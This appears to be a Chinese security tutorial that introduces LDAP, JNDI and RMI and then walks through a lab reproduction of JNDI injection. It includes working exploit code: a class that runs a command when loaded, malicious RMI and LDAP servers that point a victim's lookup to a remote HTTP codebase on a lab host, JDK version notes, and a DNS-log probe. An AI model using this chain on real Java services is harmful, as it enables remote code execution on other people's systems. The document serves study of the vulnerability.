LDAP(Lightweight Directory Access Protocol)是一种用于访问和维护分布式目录信息的协议。
官方说法总是比较绕,举个ldap的例子,
假设有一个大型公司,该公司的员工和组织结构分布在多个地区和部门。
为了有效地管理所有员工的信息和公司的组织结构,
该公司决定使用LDAP来创建一个分布式目录服务。
在这个LDAP目录中,每个员工都有一个唯一的标识(通常是DN,即Distinguished Name),
类似于身份证号码。每个员工的信息都以条目(Entry)的形式存储在目录中。例如:
DN: cn=John Doe, ou=Sales, dc=company, dc=com
(其中,cn代表Common Name,ou代表Organizational Unit,dc代表Domain Component)
这条条目表示一个名为"John Doe"的员工,
他隶属于"Sales"部门,所在的公司域名为"company.com"。
LDAP允许执行各种查询,例如:
查询所有在"Sales"部门工作的员工列表。
查询特定员工的联系信息(例如,通过员工的Common Name来查找其电话号码)。
更新员工信息(例如,更改电话号码)。
添加新的员工信息。
稍微引申,类似的效果,如mysql这种数据库似乎也可以,为什么没有使用msyql数据库?
看下chatgpt的回答,
综上所述,大部分的公司的域控管理(需要定位到部门和具体员工的软件)都会对接使用ldap
上面我们了解了什么是ladp协议,那么在Java程序中,
就是通过JNDI协议来操作(增删改查)LDAP服务中的数据。
jndi可以理解为java程序提供的一个统一的api接口,
通过jndi我们不仅可以操作ldap服务中的数据,还可以联动操作其他的服务协议,
比如:JDBC、LDAP、RMI、DNS、NIS、CORBA
在这些协议中,安全从业者用的比较多的就是 LADP、RMI、DNS
这里需要补充的一点是,
但在 Java 中,JNDI 提供了便利的接口让我们更容易的使用 LDAP 和 DNS;
但是LDAP、RMI和DNS都是可以不依赖JNDI而独立工作的
在了解了jndi与ldap协议之后,还有dns和rmi,
dns就是域名解析,这个大家基本都有一个概念,
这里就稍微展开一些rmi协议,
RMI(Remote Method Invocation)是Java语言中用于实现远程过程调用的机制。
它允许在不同Java虚拟机(JVM)上运行的程序之间通过网络通信来进行方法调用和数据传输,
实现分布式计算和远程服务调用。
个人的理解就是我写好一些方法,放到网络服务上,大家不必关系这些方法具体是如何实现的,
直接通过rmi协议加载调用即可,和一些web的api的功能类似。
需要注意的是,RMI是Java特有的远程调用机制,它只适用于Java之间的通信。
在现代的分布式系统中,
更常见的做法是使用Web服务(如RESTful API和SOAP)或消息队列(如RabbitMQ和Apache Kafka)等跨平台、跨语言的远程调用方式。
另外需要注意的就是,定义远程接口和实现都有一定的格式和要求
举例子说明,
一个简单的接口RemoteCalculator表示远程计算器,
其中定义了两个方法:
add和subtract,用于执行远程加法和减法操作。
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteCalculator extends Remote {
int add(int a, int b) throws RemoteException;
int subtract(int a, int b) throws RemoteException;
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class CalculatorImpl extends UnicastRemoteObject implements RemoteCalculator {
public CalculatorImpl() throws RemoteException {
// 构造函数需要抛出RemoteException
}
public int add(int a, int b) throws RemoteException {
return a + b;
}
public int subtract(int a, int b) throws RemoteException {
return a - b;
}
}
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
// 创建远程对象
RemoteCalculator calculator = new CalculatorImpl();
// 启动RMI Registry,监听默认端口1099
Registry registry = LocateRegistry.createRegistry(1099);
// 将远程对象绑定到RMI Registry上,客户端将通过该名称来查找远程对象
registry.rebind("Calculator", calculator);
System.out.println("服务器已启动...");
} catch (Exception e) {
e.printStackTrace();
}
}
}
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) {
try {
// 连接到RMI Registry
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 在RMI Registry中查找远程对象
RemoteCalculator calculator = (RemoteCalculator) registry.lookup("Calculator");
// 调用远程方法
int resultAdd = calculator.add(10, 5);
int resultSubtract = calculator.subtract(10, 5);
System.out.println("10 + 5 = " + resultAdd);
System.out.println("10 - 5 = " + resultSubtract);
} catch (Exception e) {
e.printStackTrace();
}
}
}
在这个例子中,我们创建了一个简单的RMI服务器和客户端。
服务器端创建了CalculatorImpl对象,并将其绑定到RMI Registry上。
客户端通过RMI Registry查找到Calculator对象,并调用其中的远程方法进行计算。
这样,客户端就可以在远程调用的帮助下执行服务器端的方法,并获得计算结果。
JNDI 注⼊,即当开发者在定义 JNDI 接⼝初始化时,lookup() ⽅法的参数可控,
攻击者就可以将恶意的url 传⼊参数远程加载恶意载荷,造成注⼊攻击。
其中使用ladp协议多,rmi协议用的少是因为高版本默认不能直接使用rmi协议
漏洞代码demo,
代码中定义了 uri 变量,uri 变量可控,并定义了⼀个 rmi 协议服务,
rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,
最后使⽤ lookup() 函数进⾏远程获取 Exploit 类
(Exploit 类名为攻击者定义,理论任意),并执⾏它
package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext(); // 得到初始⽬录环境的⼀个引⽤
initialContext.lookup(uri); // 获取指定的远程对象
}
}
常见的攻击流程
先说下rmi协议的利用,需要注意的是
当前的jdk版本是 jdk112,jdk113以后 不存在此漏洞 ⼤多数⽤ldap协议攻击
所以,我们先加载几个jdk的版本到idea,然后修改项目执行的jdk版本,
需要先将一些常用的jdk版本都收集下,直接解压,加载目录选择bin上一层即可
接着配置本项目使用哪个jdk运行,我们先配置一个低版本的jdk
根据上边的流程,我们先构建下最终的恶意payload,实现弹出计算器
注意,这个exp,不要放在这种“com.example.demo2”包内,
这样生成的class文件被目标服务器加载会报错,
右击选择“重新构建”,选择“构建模块”的话,仅仅会在第一次生成class文件,
假设删除这个class文件,在“构建模块”就不会重新生成class文件,“重新构建”就ok
生成的class文件在这个target文件夹内可以找到
然后将这个生成的class文件放到kali机器上,开启http服务等待受害者机器来请求
代码,
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2; 增加会出错
public class jndiexp implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
目前版本:1.8.0_65
黑客准备的恶意rmi服务,java文件
RMI_Hack_Server.java
将上面生成的class文件放到了另一个kali机器上,这个Reference函数的第一个参数任意写,
第二个参数就是上面class文件的名称(不用加.class);第三个参数是class文件的http地址
package com.example.demo2;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMI_Hack_Server {
public static void main(String[] args) throws Exception {
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true ");
//监听RMI服务端⼝
Registry registry = LocateRegistry.createRegistry(7778);
创建⼀个远程的JNDI对象⼯⼚类的引⽤对象 第一个参数任意写
Reference reference = new Reference("jndiexp", "jndiexp", "http://192.168.1.27:8081/");
// 转换为RMI引⽤对象,
// 因为Reference没有实现Remote接⼝也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中⼼,
// 所以需要使⽤ReferenceWrapper对Reference的实例进⾏⼀个封装。
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
//绑定⼀个恶意的Remote对象到RMI服务
registry.bind("exp", wrapper);
}
}
这个是受害者的业务代码,
Rmi_Target_Server.java
package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Rmi_Target_Server {
public static void main(String[] args) throws NamingException, NamingException {
String uri = "rmi://127.0.0.1:7778/exp";
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
//初始化上下⽂
InitialContext initialContext = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
initialContext.lookup(uri);
}
}
先执行RMI_Hack_Server.java,在执行Rmi_Target_Server.java
直接弹出了计算器,但是我们kali并没有接收到请求。
这是因为rmi在利用的过程之中,会先尝试读取本地的class,本地不存在才会去读取远程的,
所以本地做实验,记得把生成的class删除,
在次运行Rmi_Target_Server.java即可
上面jdk版本是1.8_65,将测试jdk换为1.8_151
此时就需要设置参数了,这行代码是用于设置Java系统属性,具体作用如下:
在Java中,当使用RMI(远程方法调用)技术进行远程通信时,
可能会涉及到Java对象的序列化和反序列化,其中涉及到URL的使用。
RMI允许在网络上传递Java对象,这些对象可以是在本地计算机上创建的,也可以是远程计算机上创建的。
此参数在低版本的jdk是默认开启的,但高一些的就默认是false,所以需要手动开启
假设不设置会报错,
设置此代码之后,一样可以弹出计算器,
上面jdk版本是1.8_151,将测试jdk换为1.8_202,再次进行测试
发现即使设置了com.sun.jndi.rmi.object.trustURLCodebase属性为true
也没有发出http请求,更不要说弹计算器了
假设不设置com.sun.jndi.rmi.object.trustURLCodebase属性为true,也是直接报错
所以在高版本的jdk,ldap会使用的比较多
笔者在学习这个漏洞的时候就在思考一个问题,还是先看完整的攻击流程,
当时的疑问是,
为什么需要两步骤,即先请求rmi服务器拿到“恶意代码1”
然后根据返回的“恶意代码1”去请求http服务拿到“恶意代码2”
在执行“恶意代码2”的内容,完成攻击
直接第一步就返回恶意代码,返回让目标服务器执行不就好了
这个和rmi服务的本质运转模式有关系,先简单回顾rmi服务的作用
rmi服务就是让a服务器上的jvm虚拟器运行远程网上上b服务器上的java函数
在这这个过程之中,rmi服务器的作用是类似 DNS 服务器的角色。
RMI 注册表类似于一个名字服务,它允许客户端通过指定的名称查找远程资源,
类似于 DNS 允许客户端通过域名查找服务器的 IP 地址。
在整个攻击过程中,RMI 服务器实际上只充当了“资源指向”的作用,就像一个名字服务一样,
将客户端的查询请求映射到相应的远程对象。攻击者利用 RMI 注入漏洞来控制客户端查询的结果,
使其获取恶意的远程资源,然后执行恶意代码。
简单的小结下,
rmi客户端(目标服务器)需要请求一个rmi服务器(hacker搭建的),
只能拿到一个要执行函数名称yy和这个函数的地址xx
然后rmi客户端在请求http://xx/yy拿到最终的恶意代码,然后执行
rmi服务器就不能返回“最终的恶意代码”,这个和整个rmi服务架构设计的流程有关
rmi服务器的作用就是返回“要执行的函数名称”和这个函数在哪里
而对于 LDAP 协议,攻击者同样可以在恶意服务器上创建恶意的 LDAP 资源,
例如恶意的 LDAP 对象或恶意的 LDAP URL。当客户端执行 JNDI 查询时,
会连接到恶意的 LDAP 服务器,并获取恶意资源。
在这两种协议中,恶意的服务器充当了 "资源指向" 的角色,
将客户端的查询请求指向恶意资源。客户端不知情地获取到了恶意的资源,
并在后续操作中可能触发恶意代码的执行。
以上都是笔者的理解,有问题,欢迎各位来指导沟通
先配置环境pom.xml,
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.8</version>
</dependency>
然后测试和上面一致,下边是代码。
注意,修改pom文件之后,重新构造项目本地还会在生成jndiexp.class文件
而本地有这个文件,服务器就不会去远程读取,记得删除这个生成的文件
ldap_Hack_server.java
package com.example.demo2;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.1.27:8081/#jndiexp"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult
result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
ldap_target_Server.java
package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ldap_target_Server {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:7777/Exp");
}
}
使用1.8_65和1.8_151都可以直接触发,
也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性
但是1.8_202还是j了,
即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求
不受jdk版本限制,不能直接利用,可以用于探测漏洞是否存在,
虽然报错了,但是还是去访问了,
package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ldap_target_Server {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
//initialContext.lookup("ldap://127.0.0.1:7777/Exp");
initialContext.lookup("dns://dns.y6u1ft.dnslog.cn");
}
}